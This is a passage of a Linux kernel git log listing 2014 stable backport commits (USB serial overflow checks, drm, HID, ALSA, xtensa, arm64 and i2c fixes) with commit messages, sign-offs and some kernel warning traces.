usb_wwan: fix potential NULL-deref at resume") moved the interrupt urb submission from port probe and release to open and close, thus potentially increasing the number of these false-positive error messages dramatically. Reported-by: Ed Butler Tested-by: Ed Butler Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 317362c971daacb31a6bc2f80582e32a8f17ca74 Author: Johan Hovold Date: Wed Aug 27 11:55:19 2014 +0200 USB: serial: fix potential heap buffer overflow commit 5654699fb38512bdbfc0f892ce54fce75bdc2bab upstream. Make sure to verify the number of ports requested by subdriver to avoid writing beyond the end of fixed-size array in interface data. The current usb-serial implementation is limited to eight ports per interface but failed to verify that the number of ports requested by a subdriver (which could have been determined from device descriptors) did not exceed this limit. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc1b7085d541011bfc1e735d277bb1f3c7ae45ed Author: Stephen Hemminger Date: Mon Aug 25 21:07:47 2014 -0700 USB: sisusb: add device id for Magic Control USB video commit 5b6b80aeb21091ed3030b9b6aae597d81326f1aa upstream. I have a j5 create (JUA210) USB 2 video device and adding it device id to SIS USB video gets it to work. Signed-off-by: Stephen Hemminger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2e432d13dc1517695ecf8469f31780543e0d3795 Author: Johan Hovold Date: Wed Aug 27 11:55:18 2014 +0200 USB: serial: fix potential stack buffer overflow commit d979e9f9ecab04c1ecca741370e30a8a498893f5 upstream. Make sure to verify the maximum number of endpoints per type to avoid writing beyond the end of a stack-allocated array. The current usb-serial implementation is limited to eight ports per interface but failed to verify that the number of endpoints of a certain type reported by a device did not exceed this limit. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a1fa5b4e5b2c3f0e3c7593e59822ac90ada4d07 Author: Greg KH Date: Fri Aug 15 15:22:21 2014 +0800 USB: serial: pl2303: add device id for ztek device commit 91fcb1ce420e0a5f8d92d556d7008a78bc6ce1eb upstream. This adds a new device id to the pl2303 driver for the ZTEK device. Reported-by: Mike Chu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Pranav Vashi commit 657fcb2f871f6257082ed18351bca1104b3adeeb Author: Max Filippov Date: Thu Jul 31 22:40:57 2014 +0400 xtensa: fix a6 and a7 handling in fast_syscall_xtensa commit d1b6ba82a50cecf94be540a3a153aa89d97511a0 upstream. Remove restoring a6 on some return paths and instead modify and restore it in a single place, using symbolic name. Correctly restore a7 from PT_AREG7 in case of illegal a6 value. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fbbaa360d532b2e93113bcccea56ecb260810f3b Author: Max Filippov Date: Mon Jul 21 22:01:51 2014 +0400 xtensa: fix TLBTEMP_BASE_2 region handling in fast_second_level_miss commit 7128039fe2dd3d59da9e4ffa036f3aaa3ba87b9f upstream. Current definition of TLBTEMP_BASE_2 is always 32K above the TLBTEMP_BASE_1, whereas fast_second_level_miss handler for the TLBTEMP region analyzes virtual address bit (PAGE_SHIFT + DCACHE_ALIAS_ORDER) to determine TLBTEMP region where the fault happened. The size of the TLBTEMP region is also checked incorrectly: not 64K, but twice data cache way size (whicht may as well be less than the instruction cache way size). Fix TLBTEMP_BASE_2 to be TLBTEMP_BASE_1 + data cache way size. Provide TLBTEMP_SIZE that is a greater of doubled data cache way size or the instruction cache way size, and use it to determine if the second level TLB miss occured in the TLBTEMP region. Practical occurence of page faults in the TLBTEMP area is extremely rare, this code can be tested by deletion of all w[di]tlb instructions in the tlbtemp_mapping region. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 436f11ce3db312f7681cdfdd72d2a47ca0aaefc6 Author: Max Filippov Date: Sun Jul 27 07:23:41 2014 +0400 xtensa: fix access to THREAD_RA/THREAD_SP/THREAD_DS commit 52247123749cc3cbc30168b33ad8c69515c96d23 upstream. With SMP and a lot of debug options enabled task_struct::thread gets out of reach of s32i/l32i instructions with base pointing at task_struct, breaking build with the following messages: arch/xtensa/kernel/entry.S: Assembler messages: arch/xtensa/kernel/entry.S:1002: Error: operand 3 of 'l32i.n' has invalid value '1048' arch/xtensa/kernel/entry.S:1831: Error: operand 3 of 's32i.n' has invalid value '1040' arch/xtensa/kernel/entry.S:1832: Error: operand 3 of 's32i.n' has invalid value '1044' Change base to point to task_struct::thread in such cases. Don't use a10 in _switch_to to save/restore prev pointer as a2 is not clobbered. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 420bd77944d3d4055057eed5587baeb48709634b Author: Alan Douglas Date: Wed Jul 23 14:06:40 2014 +0400 xtensa: fix address checks in dma_{alloc,free}_coherent commit 1ca49463c44c970b1ab1d71b0f268bfdf8427a7e upstream. Virtual address is translated to the XCHAL_KSEG_CACHED region in the dma_free_coherent, but is checked to be in the 0...XCHAL_KSEG_SIZE range. Change check for end of the range from 'addr >= X' to 'addr > X - 1' to handle the case of X == 0. Replace 'if (C) BUG();' construct with 'BUG_ON(C);'. Signed-off-by: Alan Douglas Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6fd8df092b1e6853fc819a3e69b4a864ebb064b Author: Max Filippov Date: Sun Jul 20 03:38:53 2014 +0400 xtensa: replace IOCTL code definitions with constants commit f61bf8e7d19e0a3456a7a9ed97c399e4353698dc upstream. This fixes userspace code that builds on other architectures but fails on xtensa due to references to structures that other architectures don't refer to. E.g. this fixes the following issue with python-2.7.8: python-2.7.8/Modules/termios.c:861:25: error: invalid application of 'sizeof' to incomplete type 'struct serial_multiport_struct' {"TIOCSERGETMULTI", TIOCSERGETMULTI}, python-2.7.8/Modules/termios.c:870:25: error: invalid application of 'sizeof' to incomplete type 'struct serial_multiport_struct' {"TIOCSERSETMULTI", TIOCSERSETMULTI}, python-2.7.8/Modules/termios.c:900:24: error: invalid application of 'sizeof' to incomplete type 'struct tty_struct' {"TIOCTTYGSTRUCT", TIOCTTYGSTRUCT}, Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 326456be3f5c8945709d09f2b58e73a502d9d15a Author: Alex Deucher Date: Mon Sep 8 13:55:51 2014 -0400 drm/radeon: add connector quirk for fujitsu board commit 1952f24d0fa6292d65f886887af87ba8ac79b3ba upstream. Vbios connector table lists non-existent VGA port. Bug: https://bugs.freedesktop.org/show_bug.cgi?id=83184 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f7936661b69fff7af0c3fa9b5b3aa3ff9e522c0 Author: Thomas Hellstrom Date: Thu Aug 28 11:53:23 2014 +0200 drm/vmwgfx: Fix a potential infinite spin waiting for fifo idle commit f01ea0c3d9db536c64d47922716d8b3b8f21d850 upstream. The code waiting for fifo idle was incorrect and could possibly spin forever under certain circumstances. Signed-off-by: Thomas Hellstrom Reported-by: Mark Sheldon Reviewed-by: Jakob Bornecrantz Reivewed-by: Mark Sheldon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18db7643c850fda039a9ff09e7db8cff9e5bf18b Author: Y.C. Chen Date: Wed Sep 10 12:07:54 2014 +0800 drm/ast: AST2000 cannot be detected correctly commit 83502a5d34386f7c6973bc70e1c423f55f5a2e3a upstream. Type error and cause AST2000 cannot be detected correctly Signed-off-by: Y.C. Chen Reviewed-by: Egbert Eich Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 860693cd4b36d7acce66a5de0295dd1a2ba5cf43 Author: Ville Syrjälä Date: Mon Sep 8 17:43:01 2014 +0300 drm/i915: Wait for vblank before enabling the TV encoder commit 7a98948f3b536ca9a077e84966ddc0e9f53726df upstream. The vblank waits in intel_tv_detect_type() are timing out for some reason. This is a regression caused removing seemingly useless vblank waits from the modeset seqeuence in: commit 56ef52cad5e37fca89638e4bad598a994ecc3d9f Author: Ville Syrjälä Date: Thu May 8 19:23:15 2014 +0300 drm/i915: Kill vblank waits after pipe enable on gmch platforms So it turns out they weren't all entirely useless. Apparently the pipe has to go through one full frame before we enable the TV port. Add a vblank wait to intel_enable_tv() to make sure that happens. Another approach was attempted by placing the vblank wait just after enabling the port. The theory behind that attempt was that we need to let the port stay enabled for one full frame before disabling it again during load detection. But that didn't work, and we definitely must have the vblank wait before enabling the port. Cc: Alan Bartlett Tested-by: Alan Bartlett Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=79311 Signed-off-by: Ville Syrjälä Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b19fbd4d402b329840a2bb558b3c884a080d560 Author: Mathias Krause Date: Wed Aug 27 18:41:19 2014 +0200 drm/i915: Remove bogus __init annotation from DMI callbacks commit bbe1c2740d3a25aa1dbe5d842d2ff09cddcdde0a upstream. The __init annotations for the DMI callback functions are wrong as this code can be called even after the module has been initialized, e.g. like this: # echo 1 > /sys/bus/pci/devices/0000:00:02.0/remove # modprobe i915 # echo 1 > /sys/bus/pci/rescan The first command will remove the PCI device from the kernel's device list so the second command won't see it right away. But as it registers a PCI driver it'll see it on the third command. If the system happens to match one of the DMI table entries we'll try to call a function in long released memory and generate an Oops, at best. Fix this by removing the bogus annotation. Modpost should have caught that one but it ignores section reference mismatches from the .rodata section. :/ Fixes: 25e341cfc33d ("drm/i915: quirk away broken OpRegion VBT") Fixes: 8ca4013d702d ("CHROMIUM: i915: Add DMI override to skip CRT...") Fixes: 425d244c8670 ("drm/i915: ignore LVDS on intel graphics systems...") Signed-off-by: Mathias Krause Cc: Daniel Vetter Cc: Duncan Laurie Cc: Jarod Wilson Cc: Rusty Russell # Can modpost be fixed? Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7bf38786e5c7b82b179a359944222f0e2ec335c Author: Benjamin Tissoires Date: Fri Aug 22 16:16:05 2014 -0400 HID: logitech-dj: prevent false errors to be shown commit 5abfe85c1d4694d5d4bbd13ecc166262b937adf0 upstream. Commit "HID: logitech: perform bounds checking on device_id early enough" unfortunately leaks some errors to dmesg which are not real ones: - if the report is not a DJ one, then there is not point in checking the device_id - the receiver (index 0) can also receive some notifications which can be safely ignored given the current implementation Move out the test regarding the report_id and also discards printing errors when the receiver got notified. Fixes: ad3e14d7c5268c2e24477c6ef54bbdf88add5d36 Reported-and-tested-by: Markus Trippelsdorf Signed-off-by: Benjamin Tissoires Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e29fc8bcdc50e8fee6bb56d2efe24c34ec6b47d3 Author: Jiri Kosina Date: Wed Aug 27 09:12:24 2014 +0200 HID: magicmouse: sanity check report size in raw_event() callback commit c54def7bd64d7c0b6993336abcffb8444795bf38 upstream. The report passed to us from transport driver could potentially be arbitrarily large, therefore we better sanity-check it so that magicmouse_emit_touch() gets only valid values of raw_id. Reported-by: Steven Vittitoe Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f1081c90a7da490063daa8cfdc0f83f898ac6c2 Author: Jiri Kosina Date: Wed Aug 27 09:13:15 2014 +0200 HID: picolcd: sanity check report size in raw_event() callback commit 844817e47eef14141cf59b8d5ac08dd11c0a9189 upstream. The report passed to us from transport driver could potentially be arbitrarily large, therefore we better sanity-check it so that raw_data that we hold in picolcd_pending structure are always kept within proper bounds. Reported-by: Steven Vittitoe Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 385bfc5b827a534cb7ed3bd48f065c24c185ce4e Author: Toshiaki Makita Date: Tue Aug 26 20:56:36 2014 +0900 cfq-iosched: Fix wrong children_weight calculation commit e15693ef18e13e3e6bffe891fe140f18b8ff6d07 upstream. cfq_group_service_tree_add() is applying new_weight at the beginning of the function via cfq_update_group_weight(). This actually allows weight to change between adding it to and subtracting it from children_weight, and triggers WARN_ON_ONCE() in cfq_group_service_tree_del(), or even causes oops by divide error during vfr calculation in cfq_group_service_tree_add(). The detailed scenario is as follows: 1. Create blkio cgroups X and Y as a child of X. Set X's weight to 500 and perform some I/O to apply new_weight. This X's I/O completes before starting Y's I/O. 2. Y starts I/O and cfq_group_service_tree_add() is called with Y. 3. cfq_group_service_tree_add() walks up the tree during children_weight calculation and adds parent X's weight (500) to children_weight of root. children_weight becomes 500. 4. Set X's weight to 1000. 5. X starts I/O and cfq_group_service_tree_add() is called with X. 6. cfq_group_service_tree_add() applies its new_weight (1000). 7. I/O of Y completes and cfq_group_service_tree_del() is called with Y. 8. I/O of X completes and cfq_group_service_tree_del() is called with X. 9. cfq_group_service_tree_del() subtracts X's weight (1000) from children_weight of root. children_weight becomes -500. This triggers WARN_ON_ONCE(). 10. Set X's weight to 500. 11. X starts I/O and cfq_group_service_tree_add() is called with X. 12. cfq_group_service_tree_add() applies its new_weight (500) and adds it to children_weight of root. children_weight becomes 0. Calcularion of vfr triggers oops by divide error. weight should be updated right before adding it to children_weight. Reported-by: Ruki Sekiya Signed-off-by: Toshiaki Makita Acked-by: Tejun Heo Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84c072264ee7cc9b52eb54ba1684ff5eee419280 Author: Clemens Ladisch Date: Sun Sep 21 22:50:57 2014 +0200 ALSA: pcm: fix fifo_size frame calculation commit a9960e6a293e6fc3ed414643bb4e4106272e4d0a upstream. The calculated frame size was wrong because snd_pcm_format_physical_width() actually returns the number of bits, not bytes. Use snd_pcm_format_size() instead, which not only returns bytes, but also simplifies the calculation. Fixes: 8bea869c5e56 ("ALSA: PCM midlevel: improve fifo_size handling") Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef887bbe9b6ebc046446fc03111b9233bc81d74c Author: Takashi Iwai Date: Thu Sep 11 12:59:21 2014 +0200 ALSA: hda - Fix invalid pin powermap without jack detection commit 7a9744cb455e6faa287e148394b4b422a6f3c5c4 upstream. When a driver is set up without the jack detection explicitly (either by passing a model option or via a specific fixup), the pin powermap of IDT/STAC codecs is set up wrongly, resulting in the silence output. It's because of a logic failure in stac_init_power_map(). It tries to avoid creating a callback for the pins that have other auto-hp and auto-mic callbacks, but the check is done in a wrong way at a wrong time. The stac_init_power_map() should be called after creating other jack detection ctls, and the jack callback should be created only for jack-detectable widgets. This patch fixes the check in stac_init_power_map() and its callee at the right place, after snd_hda_gen_build_controls(). Reported-by: Adam Richter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8406e4039e5af1d5ff1dcf7a11951d7673690fa Author: Takashi Iwai Date: Tue Sep 2 07:21:56 2014 +0200 ALSA: hda - Fix COEF setups for ALC1150 codec commit acf08081adb5e8fe0519eb97bb49797ef52614d6 upstream. ALC1150 codec seems to need the COEF- and PLL-setups just like its compatible ALC882 codec. Some machines (e.g. SunMicro X10SAT) show the problem like too low output volumes unless the COEF setup is applied. Reported-and-tested-by: Dana Goyette Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2f97b6f345ca9b35f06aac5cdb1fa3f9764fce9 Author: Will Deacon Date: Fri Aug 22 14:13:24 2014 +0100 arm64: ptrace: fix compat hardware watchpoint reporting commit 27d7ff273c2aad37b28f6ff0cab2cfa35b51e648 upstream. I'm not sure what I was on when I wrote this, but when iterating over the hardware watchpoint array (hbp_watch_array), our index is off by ARM_MAX_BRP, so we walk off the end of our thread_struct... ... except, a dodgy condition in the loop means that it never executes at all (bp cannot be NULL). This patch fixes the code so that we remove the bp check and use the correct index for accessing the watchpoint structures. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 673cc7291d167c16ce3945ffd5f4db6f980c0304 Author: Josef Bacik Date: Mon Aug 25 13:59:41 2014 -0400 trace: Fix epoll hang when we race with new entries commit 4ce97dbf50245227add17c83d87dc838e7ca79d0 upstream. Epoll on trace_pipe can sometimes hang in a weird case. If the ring buffer is empty when we set waiters_pending but an event shows up exactly at that moment we can miss being woken up by the ring buffers irq work. Since ring_buffer_empty() is inherently racey we will sometimes think that the buffer is not empty. So we don't get woken up and we don't think there are any events even though there were some ready when we added the watch, which makes us hang. This patch fixes this by making sure that we are actually on the wait list before we set waiters_pending, and add a memory barrier to make sure ring_buffer_empty() is going to be correct. Link: http://lkml.kernel.org/p/1408989581-23727-1-git-send-email-jbacik@fb.com Cc: Martin Lau Signed-off-by: Josef Bacik Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 283f2b71db64e53fc95acff9d1124447a56481e1 Author: Simon Lindgren Date: Tue Aug 26 21:13:24 2014 +0200 i2c: at91: Fix a race condition during signal handling in at91_do_twi_xfer. commit 6721f28a26efd6368497abbdef5dcfc59608d899 upstream. There is a race condition in at91_do_twi_xfer when signals arrive. If a signal is recieved while waiting for a transfer to complete wait_for_completion_interruptible_timeout() will return -ERESTARTSYS. This is not handled correctly resulting in interrupts still being enabled and a transfer being in flight when we return. Symptoms include a range of oopses and bus lockups. Oopses can happen when the transfer completes because the interrupt handler will corrupt the stack. If a new transfer is started before the interrupt fires the controller will start a new transfer in the middle of the old one, resulting in confused slaves and a locked bus. To avoid this, use wait_for_completion_io_timeout instead so that we don't have to deal with gracefully shutting down the transfer and disabling the interrupts. Signed-off-by: Simon Lindgren Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3ee32d4149d196c6ba950a692a57a3e19d024d9 Author: Marek Roszko Date: Wed Aug 20 21:39:41 2014 -0400 i2c: at91: add bound checking on SMBus block length bytes commit 75b81f339c6af43f6f4a1b3eabe0603321dade65 upstream. The driver was not bound checking the received length byte to ensure it was within the the buffer size that is allocated for SMBus blocks. This resulted in buffer overflows whenever an invalid length byte was received. It also failed to ensure the length byte was not zero. If it received zero, it would end up in an infinite loop as the at91_twi_read_next_byte function returned immediately without allowing RHR to be read to clear the RXRDY interrupt. Tested agaisnt a SMBus compliant battery. Signed-off-by: Marek Roszko Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b0c390708b623881fe28c2a5acc0f7a8670978f4 Author: Will Deacon Date: Thu Sep 11 14:38:16 2014 +0100 arm64: flush TLS registers during exec commit eb35bdd7bca29a13c8ecd44e6fd747a84ce675db upstream. Nathan reports that we leak TLS information from the parent context during an exec, as we don't clear the TLS registers when flushing the thread state. This patch updates the flushing code so that we: (1) Unconditionally zero the tpidr_el0 register (since this is fully context switched for native tasks and zeroed for compat tasks) (2) Zero the tp_value state in thread_info before clearing the tpidrr0_el0 register for compat tasks (since this is only writable by the set_tls compat syscall and therefore not fully switched). A missing compiler barrier is also added to the compat set_tls syscall. Acked-by: Nathan Lynch Reported-by: Nathan Lynch Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1ae9ae47bad790d9d37a9fd3fb1ffe9db8e3694 Author: Anton Blanchard Date: Fri Aug 22 11:36:52 2014 +1000 ibmveth: Fix endian issues with rx_no_buffer statistic commit cbd5228199d8be45d895d9d0cc2b8ce53835fc21 upstream. Hidden away in the last 8 bytes of the buffer_list page is a solitary statistic. It needs to be byte swapped or else ethtool -S will produce numbers that terrify the user. Since we do this in multiple places, create a helper function with a comment explaining what is going on. Signed-off-by: Anton Blanchard Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f93bdf254cbbd29bdf0f712861bfc31596897a0a Author: Murali Karicheri Date: Fri Sep 5 13:21:00 2014 -0400 ahci: add pcid for Marvel 0x9182 controller commit c5edfff9db6f4d2c35c802acb4abe0df178becee upstream. Keystone K2E EVM uses Marvel 0x9182 controller. This requires support for the ID in the ahci driver. Signed-off-by: Murali Karicheri Signed-off-by: Tejun Heo Cc: Santosh Shilimkar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4244ff43264d4328655e23e5cc360500566e5852 Author: James Ralston Date: Wed Aug 27 14:29:07 2014 -0700 ahci: Add Device IDs for Intel 9 Series PCH commit 1b071a0947dbce5c184c12262e02540fbc493457 upstream. This patch adds the AHCI mode SATA Device IDs for the Intel 9 Series PCH. Signed-off-by: James Ralston Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf2126942cb882ffb2060ff207671fcf24710b0f Author: Arjun Sreedharan Date: Sun Aug 17 20:00:09 2014 +0530 pata_scc: propagate return value of scc_wait_after_reset commit 4dc7c76cd500fa78c64adfda4b070b870a2b993c upstream. scc_bus_softreset not necessarily should return zero. Propagate the error code. Signed-off-by: Arjun Sreedharan Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2fb0d5600b142c80f429ebd5c92cd46fadbc48a Author: Jiri Kosina Date: Thu Aug 7 16:29:53 2014 +0200 drm/i915: read HEAD register back in init_ring_common() to enforce ordering commit ece4a17d237a79f63fbfaf3f724a12b6d500555c upstream. Withtout this, ring initialization fails reliabily during resume with [drm:init_ring_common] *ERROR* render ring initialization failed ctl 0001f001 head ffffff8804 tail 00000000 start 000e4000 This is not a complete fix, but it is verified to make the ring initialization failures during resume much less likely. We were not able to root-cause this bug (likely HW-specific to Gen4 chips) yet. This is therefore used as a ducttape before problem is fully understood and proper fix created, so that people don't suffer from completely unusable systems in the meantime. The discussion and debugging is happening at https://bugs.freedesktop.org/show_bug.cgi?id=76554 Signed-off-by: Jiri Kosina Signed-off-by: Daniel Vetter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db293e807c56c158e762e9c6c604e900e1dc8b8a Author: Alex Deucher Date: Sun Jul 27 23:21:50 2014 -0400 drm/radeon: load the lm63 driver for an lm64 thermal chip. commit 5dc355325b648dc9b4cf3bea4d968de46fd59215 upstream. Looks like the lm63 driver supports the lm64 as well. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92cd3a4941916e80fe6591d7fe74cdebaedf49e4 Author: Tetsuo Handa Date: Sun Aug 3 20:00:40 2014 +0900 drm/ttm: Choose a pool to shrink correctly in ttm_dma_pool_shrink_scan(). commit 46c2df68f03a236b30808bba361f10900c88d95e upstream. We can use "unsigned int" instead of "atomic_t" by updating start_pool variable under _manager->lock. This patch will make it possible to avoid skipping when choosing a pool to shrink in round-robin style, after next patch changes mutex_lock(_manager->lock) to !mutex_trylock(_manager->lork). Signed-off-by: Tetsuo Handa Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13ec93eb9510c9520a93dabeaa3f6e556bde020d Author: Tetsuo Handa Date: Sun Aug 3 19:59:35 2014 +0900 drm/ttm: Fix possible division by 0 in ttm_dma_pool_shrink_scan(). commit 11e504cc705e8ccb06ac93a276e11b5e8fee4d40 upstream. list_empty(&_manager->pools) being false before taking _manager->lock does not guarantee that _manager->npools != 0 after taking _manager->lock because _manager->npools is updated under _manager->lock. Signed-off-by: Tetsuo Handa Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 46fc97ee46cd8b8d2fe81a66ed6cfe1d66cb8c5d Author: Guido Martínez Date: Tue Jun 17 11:17:09 2014 -0300 drm/tilcdc: fix double kfree commit c9a3ad25eddfdb898114a9d73cdb4c3472d9dfca upstream. display_timings_release calls kfree on the display_timings object passed to it. Calling kfree after it is wrong. SLUB debug showed the following warning: ============================================================================= BUG kmalloc-64 (Tainted: G W ): Object already free ----------------------------------------------------------------------------- Disabling lock debugging due to kernel taint INFO: Allocated in of_get_display_timings+0x2c/0x214 age=601 cpu=0 pid=884 __slab_alloc.constprop.79+0x2e0/0x33c kmem_cache_alloc+0xac/0xdc of_get_display_timings+0x2c/0x214 panel_probe+0x7c/0x314 [tilcdc] platform_drv_probe+0x18/0x48 [..snip..] INFO: Freed in panel_destroy+0x18/0x3c [tilcdc] age=0 cpu=0 pid=907 __slab_free+0x34/0x330 panel_destroy+0x18/0x3c [tilcdc] tilcdc_unload+0xd0/0x118 [tilcdc] drm_dev_unregister+0x24/0x98 [..snip..] Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c4a774b805e23e81b5572b7a087cce7fafa4d64e Author: Guido Martínez Date: Tue Jun 17 11:17:08 2014 -0300 drm/tilcdc: fix release order on exit commit eb565a2bbadc6a5030a6dbe58db1aa52453e7edf upstream. Unregister resources in the correct order on tilcdc_drm_fini, which is the reverse order they were registered during tilcdc_drm_init. This also means unregistering the driver before releasing its resources. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59b454b8bf2c445a1cdd31d942b7ef3f8d4201e5 Author: Guido Martínez Date: Tue Jun 17 11:17:07 2014 -0300 drm/tilcdc: panel: fix leak when unloading the module commit 3a49012224ca9016658a831a327ff6a7fe5bb4f9 upstream. The driver did not unregister the allocated framebuffer, which caused memory leaks (and memory manager WARNs) when unloading. Also, the framebuffer device under /dev still existed after unloading. Add a call to drm_fbdev_cma_fini when unloading the module to prevent both issues. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f37d58edb46eb5f23a10958d2ad8e2949a238491 Author: Guido Martínez Date: Tue Jun 17 11:17:06 2014 -0300 drm/tilcdc: tfp410: fix dangling sysfs connector node commit 16dcbdef404f4e87dab985494381939fe0a2d456 upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver, otherwise we will get a warning about a duplicate filename in sysfs. Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3bf5d169e5518f21bbeedc34c0d6b0ee2ad2c72e Author: Guido Martínez Date: Tue Jun 17 11:17:05 2014 -0300 drm/tilcdc: slave: fix dangling sysfs connector node commit daa15b4cd1eee58eb1322062a3320b1dbe5dc96e upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver as a module. Without this, we would get a warning at re-load time like so: tda998x 0-0070: found TDA19988 ------------[ cut here ]------------ WARNING: CPU: 0 PID: 825 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x54/0x74() sysfs: cannot create duplicate filename '/class/drm/card0-HDMI-A-1' Modules linked in: [..] CPU: 0 PID: 825 Comm: modprobe Not tainted 3.15.0-rc4-00027-g9dcdef4 #82 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x68/0x88) [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x30/0x40) [] (warn_slowpath_fmt) from [] (sysfs_warn_dup+0x54/0x74) [] (sysfs_warn_dup) from [] (sysfs_do_create_link_sd.isra.2+0xb0/0xb8) [] (sysfs_do_create_link_sd.isra.2) from [] (device_add+0x338/0x520) [] (device_add) from [] (device_create_groups_vargs+0xa0/0xc4) [] (device_create_groups_vargs) from [] (device_create+0x24/0x2c) [] (device_create) from [] (drm_sysfs_connector_add+0x64/0x204) [] (drm_sysfs_connector_add) from [] (slave_modeset_init+0x120/0x1bc [tilcdc]) [] (slave_modeset_init [tilcdc]) from [] (tilcdc_load+0x214/0x4c0 [tilcdc]) [] (tilcdc_load [tilcdc]) from [] (drm_dev_register+0xa4/0x104) [..snip..] ---[ end trace 4df8d614936ebdee ]--- [drm:drm_sysfs_connector_add] *ERROR* failed to register connector device: -17 Signed-off-by: Guido Martínez Tested-by: Darren Etheridge Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce414d15870dd5ec56e2543c303844caa9988944 Author: Guido Martínez Date: Tue Jun 17 11:17:04 2014 -0300 drm/tilcdc: panel: fix dangling sysfs connector node commit e396900e649b0af31161634d87fe37076f46c12b upstream. Add a drm_sysfs_connector_remove call when we destroy the panel to make sure the connector node in sysfs gets deleted. This is required for proper unload and re-load of this driver as a module. Without this, we would get a warning at re-load time like so: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 824 at fs/sysfs/dir.c:31 sysfs_warn_dup+0x54/0x74() sysfs: cannot create duplicate filename '/class/drm/card0-LVDS-1' Modules linked in: [...] CPU: 0 PID: 824 Comm: modprobe Not tainted 3.15.0-rc4-00027-g6484f96-dirty #81 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x68/0x88) [] (warn_slowpath_common) from [] (warn_slowpath_fmt+0x30/0x40) [] (warn_slowpath_fmt) from [] (sysfs_warn_dup+0x54/0x74) [] (sysfs_warn_dup) from [] (sysfs_do_create_link_sd.isra.2+0xb0/0xb8) [] (sysfs_do_create_link_sd.isra.2) from [] (device_add+0x338/0x520) [] (device_add) from [] (device_create_groups_vargs+0xa0/0xc4) [] (device_create_groups_vargs) from [] (device_create+0x24/0x2c) [] (device_create) from [] 